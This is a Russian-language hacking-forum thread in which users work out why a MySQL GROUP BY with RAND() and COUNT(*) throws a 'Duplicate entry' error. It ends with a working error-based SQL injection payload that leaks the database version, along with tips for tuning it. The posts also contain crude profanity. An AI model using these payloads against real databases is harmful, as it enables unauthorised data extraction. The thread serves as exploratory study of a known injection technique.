Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Хак-конструкция на MySQL (https://forum.antichat.xyz/showthread.php?t=445087)

artkar 02.12.2016 02:17

А как эта конструкция работает:

SELECT COUNT(*)

FROM (

SELECT 1 UNION SELECT 2 UNION SELECT 3

)x

GROUP BY CONCAT(MID(VERSION(), 1, 63), FLOOR(RAND(0)*2))

типо как происходит план запроса ?

В том смысле у меня вообще групп бай в выражениях весь игнорируется кроме этого....

artkar 02.12.2016 22:58

Ну чё притухли школота? Ктожи объяснит дяде арткару как работает этот запрос?

Что никто не знает?

BabaDook 04.12.2016 01:29

Скажу тебе как школьник, забей ты , что это уйня, что то ***ня, лучше по утро дрочнуть

t0ma5 05.12.2016 14:13

Цитата:

Сообщение от artkar
artkar said:

А как эта конструкция работает:
SELECT COUNT(*)
FROM (
SELECT 1 UNION SELECT 2 UNION SELECT 3
)x
GROUP BY CONCAT(MID(VERSION(), 1, 63), FLOOR(RAND(0)*2))
типо как происходит план запроса ?
В том смысле у меня вообще групп бай в выражениях весь игнорируется кроме этого....

ну ахуеть, назвал всех школьниками и просишь объяснить

что там у тебя в group by игнорируется? подзапросы в нем работают

Код:

Code:
select 1 from(select 1)x group by (select 1);

ну и ничего мистического не вижу что в твоем примере отрабатывает concat, а почему селектит версию базы а не COUNT(*)? так наверно потому что запрос падает с ошибкой и это внезапно называется error-based вектор

удивительно какие запросы может переваривать мускул

Код:

Code:
select@x,/*!{$from(select(@x:=version()))}*/,0.3from(select~@)x;
+------+--------------------------------+-----+
| @x  | {$from(select(@x:=version()))} | 0.3 |
+------+--------------------------------+-----+
|    1 | 5.6.31                        | 0.3 |
+------+--------------------------------+-----+

если ты такой дядька, то может знаешь сишку, откроешь сорцы парсера да расскажешь нам сам?

t0ma5 05.12.2016 15:10

вообще мне тоже не понятно почему работает именно так, count в некоторых случаях при использовании rand делает несколько выборок, что как то странно

Код:

Code:
select count(*) from(select 1 union select 3 union select 9)x group by concat('qqq',':',rand(0)*2);
+----------+
| count(*) |
+----------+
|        1 |
|        1 |
|        1 |
+----------+
3 rows in set (0.00 sec)

видимо натыкается на использование одной и той же колонки, судя по ошибке, правда не понятно почему он не падает в примере выше, а только при использовании floor

Код:

Code:
select count(*) from(select 1 union select 3 union select 9)x group by concat('qqq',':',floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'qqq:1' for key 'group_key'

что то явно хотели оптимизировать при вычислении запроса и х*й угадали походу

t0ma5 05.12.2016 16:06

похоже если какую то часть конструкции не удаётся высчитать сразу, то он таки прогоняет запрос для каждого union

Код:

Code:
select count(*) from(select 1 union select 2 union select 3)x group by (rand(1)*2);
+----------+
| count(*) |
+----------+
|        1 |
|        1 |
|        1 |
+----------+
3 rows in set (0.00 sec)

ну и число похоже должно быть не целочисленное

Код:

Code:
select count(*) from(select 'z' union select 'x' union select 'e')x group by (md5(rand(1)*2) + 1);
+----------+
| count(*) |
+----------+
|        2 |
|        1 |
+----------+
2 rows in set (0.00 sec)

select count(*) from(select 'z' union select 'x' union select 'e')x group by (md5(rand(0)*2) + 1);

ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

select (md5(rand(1)*2) + 1);
+----------------------+
| (md5(rand(1)*2) + 1) |
+----------------------+
|                    4 |
+----------------------+
1 row in set (0.00 sec)

select (md5(rand(0)*2) + 1);
+------------------------+
| (md5(rand(0)*2) + 1)  |
+------------------------+
| 1.7976931348623157e308 |
+------------------------+
1 row in set (0.00 sec)

думаю никто не расстроится если я тут пофлужу

------------------------------

Код:

Code:
select md5(rand(0)*2);
+----------------------------------+
| md5(rand(0)*2)                  |
+----------------------------------+
| 810e2137cdf4bde97083b021c6b34a09 |
+----------------------------------+

0e кастование типов, ноги float растут отсюда, не забыть найти линк

----------------------------------------------

Код:

Code:
> select count(*) from(select 'z' union select 'x' union select 'e')x group by concat(version(),':',(md5(rand(19)*2) + 1));
ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key'

> select (md5(rand(19)*2) + 1);
+-----------------------+
| (md5(rand(19)*2) + 1) |
+-----------------------+
|            977882091 |
+-----------------------+
1 row in set (0.00 sec)

мде

-------------------------------------------------

Код:

Code:
> select count(*) from(select 'z' union select 'x' union select 'e')x group by concat(version(),':',(md5(rand(19)*2) + 999));
ERROR 1062 (23000): Duplicate entry '5.6.31:999' for key 'group_key'

5.6.31:1 .... 5.6.31:999

куда девается (md5(rand(19)*2)

t0ma5 05.12.2016 21:43

стопудово это с rand накосячили, пофазил другие функции, такого поведения нет

рабочий вектор 'Duplicate entry' для error-based

> select * from users where id=1 or (select count(*)from(select(1)union(select(2)))x group by concat(/*my*/(select version())/*select*/,':',(md5(rand(19)*2) + 1)));

ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key'

> select * from users where id=1 or (select count(*)from(select(1)union(select(2)))x group by concat(/*my*/(select version())/*select*/,':',(md5(rand(0)*2) + 1)));

ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key'

если получаем "Subquery returns more than 1 row" поиграться с числами для rand, rand(0)/rand(6)/rand(19) , можно юзать floor, но там тоже магия с числами, у меня завелось только с floor(rand(12)*2))

нафига не знаю, уверен где нибудь в недрах рдота или ачата это уже описано, хотел пофлудить

-------------

ну да это классический error-based, wtf почему не решили пофиксить ипать сколько лет уже прошло

artkar 12.12.2016 18:50

А чёйта мой топег про MySQL перенесли из Раздела "MySQL" в Вэб-уязвимости? Мне та в принципе пох, но просто интересно...


Время: 23:37